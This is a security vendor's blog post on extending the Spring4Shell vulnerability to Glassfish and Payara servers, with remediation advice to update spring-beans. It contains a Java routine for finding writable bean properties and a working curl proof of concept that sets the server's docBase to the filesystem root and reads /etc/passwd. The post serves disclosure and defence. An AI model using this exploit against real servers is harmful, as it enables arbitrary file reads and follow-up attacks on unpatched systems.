We use cookies to ensure you get the best experience on our website.Read moreRead moreGot it

close
  • Products
    • Products
      • Snyk Code (SAST)
        Secure your code as it’s written
      • Snyk Open Source (SCA)
        Avoid vulnerable dependencies
      • Snyk Container
        Keep your base images secure
      • Snyk Infrastructure as Code
        Develop secure cloud infrastructure
      • Snyk Cloud
        Keep your cloud environment secure
    • Solutions
      • Application security
        Build secure, stay secure
      • Software supply chain security
        Mitigate supply chain risk
      • Cloud security
        Build and operate securely
    • Platform
      • What is Snyk?
        Developer-first security in action
      • Developer security platform
        Modern security in a single platform
      • Security intelligence
        Comprehensive vulnerability data
      • License compliance management
        Manage open source usage
      • Snyk Learn
        Self-service security education
  • Resources
    • Using Snyk
      • Documentation
      • Vulnerability intelligence
      • Product training
      • Support & services
      • Support portal & FAQ’s
      • User hub
    • learn & connect
      • Blog
      • Community
      • Events & webinars
      • DevSecOps hub
      • Developer & security resources
    • Listen to the Cloud Security Podcast, powered by Snyk
  • Company
    • About Snyk
    • Customers
    • Partners
    • Newsroom
    • Snyk Impact
    • Contact us
    • Jobs at Snyk We are hiring
  • Pricing
Log inBook a demoSign up
All articles
  • Application Security
  • Cloud Native Security
  • DevSecOps
  • Engineering
  • Partners
  • Snyk Team
  • Show more
    • Vulnerabilities
    • Product
    • Ecosystems
Application SecurityEcosystemsOpen Source

Spring4Shell extends to Glassfish and Payara: same vulnerability, new exploit

Brian VermeerApril 8, 2022

Last week, we announced the discovery of Spring4Shell — a remote code execution (RCE) vulnerability in older versions of the spring-beans package. In our blog post Spring4Shell: The zero-day RCE in the Spring Framework explained, we showed how an old Tomcat exploit for CVE-2010-1622 became relevant again. Due to the nature of the problem, we expected that additional payloads could be created beyond this known Tomcat exploit. And today, our Security Research team has confirmed that this is the case. There are now similar exploits for Glassfish and Payara that leverage the same issue in Spring, but with a different payload. The Payara team were informed of our finding which helped them confirm their own analysis that certain configurations of Payara could be vulnerable.

But first and foremost, this is NOT a new vulnerability. It is just a new exploit that proves our expectation that the issue is larger than the initial Tomcat issue.  Although Payara will be publishing a hotfix for the affected versions of Payara Community and Payara Enterprise, our remediation advice is still the same. Update your spring-beans package to version 5.3.18 or 5.2.20 or beyond. We just want to emphasize that updating to the newer versions of this package is absolutely needed, and you should prioritize this over anything else.

Finding more writable properties to exploit

Snyk’s Security Research team used the function below to find out what the available attributes are in the specific application server that are writable. The function created by Kirill Efimov from our Security R&D team, uses the Spring API to iterate over all available properties to create a list of the properties that can be used for a potential breach. 

public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {

  if (visited == null) {
     visited = new HashSet<>();
     visited.add(Integer.class);
     visited.add(Long.class);
     visited.add(Double.class);
     visited.add(String.class);
  }

  HashSet<String> res = new HashSet<>();

  if (depth <= 0) return res;
  if (visited.contains(root)) return res;
  else visited.add(root);

  try {
     BeanWrapperImpl impl = new BeanWrapperImpl(root);

     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
        if (!impl.isReadableProperty(pd.getName())) continue;
        if (pd.getName().equals("accessible")) continue;

        if (impl.isWritableProperty(pd.getName())) {
           res.add(path + "." + pd.getName());
        }

        Object value = impl.getPropertyValue(pd.getName());

        if (value != null && value != Optional.empty()) {
           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));

           if (value.getClass().isArray()) {
              try {
                 Object[] casted = (Object[]) value;

                 for (int i = 0; i < casted.length; i++) {
                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
                 }
              } catch (ClassCastException cce) {
                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
              }
           }
        }
     }
  } catch (Exception e) {
     e.printStackTrace();
  }

  return res;
}

By calling this function HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null); in your endpoint, you can easily list and inspect them.

Exploiting the Glassfish / Payara server

GlassFish is an application server that is similar to Tomcat. We will not go into the details of the differences because that is not really relevant. Payara Server is derived from GlassFish and shares many similarities. However, they are different products, as Payara has more features than the original GlassFish. The folks at Payara wrote a magnificent blog post around these differences, although these are not really relevant for this exploit.

Let’s use the same application as we did in our previous blog post, but now deploy it on Payara Server (Community) 5.2022.1. Using the function from the previous paragraph showed us that the following attributes are writable: 

​​[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

One of the properties that is particularly interesting is the class.module.classLoader.resources.dirContext.docBase, which we will use in our new exploit.

In the exploit below, we use this property to set the docBase to /. Because the root is now set to the actual root of the machine, we are able to access files that are normally not available. The example below shows that we can now download the content of the /etc/passwd file by calling:

http://localhost:8080/handling-form-submission-complete/etc/passwd

Exploit

echo "Setting doc base to /"
curl -X POST \
 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
 http://localhost:8080/handling-form-submission-complete/greeting
sleep 2
echo "Downloading /etc/passwd"
curl http://localhost:8080/handling-form-submission-complete/etc/passwd

Needless to say, this is not something you want, as we can now read arbitrary files on the filesystem. This can disclose valuable intel for malicious people to create follow-up attacks or disclose data related to users.

The full exploit project created by Calum Hutton, Security Researcher at Snyk, is published on GitHub.

Update your Spring Framework as soon as you can

Let’s reiterate that this is NOT a new vulnerability but another example of how to exploit the same Spring4shell vulnerability on a different server. The most important lesson is that this issue in Spring is not specific to Tomcat. The issue in spring itself is quite general, and we might even end up with many exploits in different flavors for different servers. So even if there is no exploit known to your use case yet, does not imply you are not vulnerable! 

The best thing you can, and in my opinion must do, is update your Spring framework (or at least the spring-beans package) to the latest version. As far as we can see, updating your package will solve this vulnerability regardless of the application you are using. 

Snyk can help you be on top of this by routinely scanning your applications. Snyk alerts you and your team when new vulnerabilities are detected, providing recommended next steps to keep your applications secure. What are you waiting for? Start updating!

Secure your Java apps with Snyk

Find and automatically fix vulnerabilities in your open source dependencies, code, containers, and IaC.

Sign up for free

Discuss this blog on Discord

Join the DevSecOps Community on Discord to discuss this topic and more with other security-focused practitioners.

GO TO DISCORD
Footer Wave Top
Patch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo Segment
Develop Fast.
Stay Secure.
Snyk|Open Source Security Platform
Sign up for freeBook a demo

Product

  • Developers & DevOps
  • Vulnerability database
  • API status
  • Pricing
  • IDE plugins
  • What is Snyk?

Resources

  • Snyk Learn
  • Blog
  • Security fundamentals
  • Resources for security leaders
  • Documentation
  • Snyk API
  • Disclosed vulnerabilities
  • Open Source Advisor
  • FAQs
  • Website scanner
  • Code snippets
  • Japanese site
  • Audit services
  • Web stories

Company

  • About
  • Snyk Impact
  • Customers
  • Jobs at Snyk
  • Snyk for government
  • Legal terms
  • Privacy
  • Press kit
  • Events
  • Security and trust
  • Do not sell my personal information

Connect

  • Book a demo
  • Contact us
  • Support
  • Report a new vuln

Security

  • JavaScript Security
  • Container Security
  • Kubernetes Security
  • Application Security
  • Open Source Security
  • Cloud Security
  • Secure SDLC
  • Cloud Native Security
  • Secure coding
  • Python Code Examples
  • JavaScript Code Examples
  • Code Checker
  • Python Code Checker
  • JavaScript Code Checker
Snyk|Open Source Security Platform

Snyk is a developer security platform. Integrating directly into development tools, workflows, and automation pipelines, Snyk makes it easy for teams to find, prioritize, and fix security vulnerabilities in code, dependencies, containers, and infrastructure as code. Supported by industry-leading application and security intelligence, Snyk puts security expertise in any developer's toolkit.

Resources

  • Snyk Learn
  • Blog
  • Security fundamentals
  • Resources for security leaders
  • Documentation
  • Snyk API
  • Disclosed vulnerabilities
  • Open Source Advisor
  • FAQs
  • Website scanner
  • Code snippets
  • Japanese site
  • Audit services
  • Web stories

Track our development

© 2023 Snyk Limited
Registered in England and Wales
Company number: 09677925
Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.
Footer Wave Bottom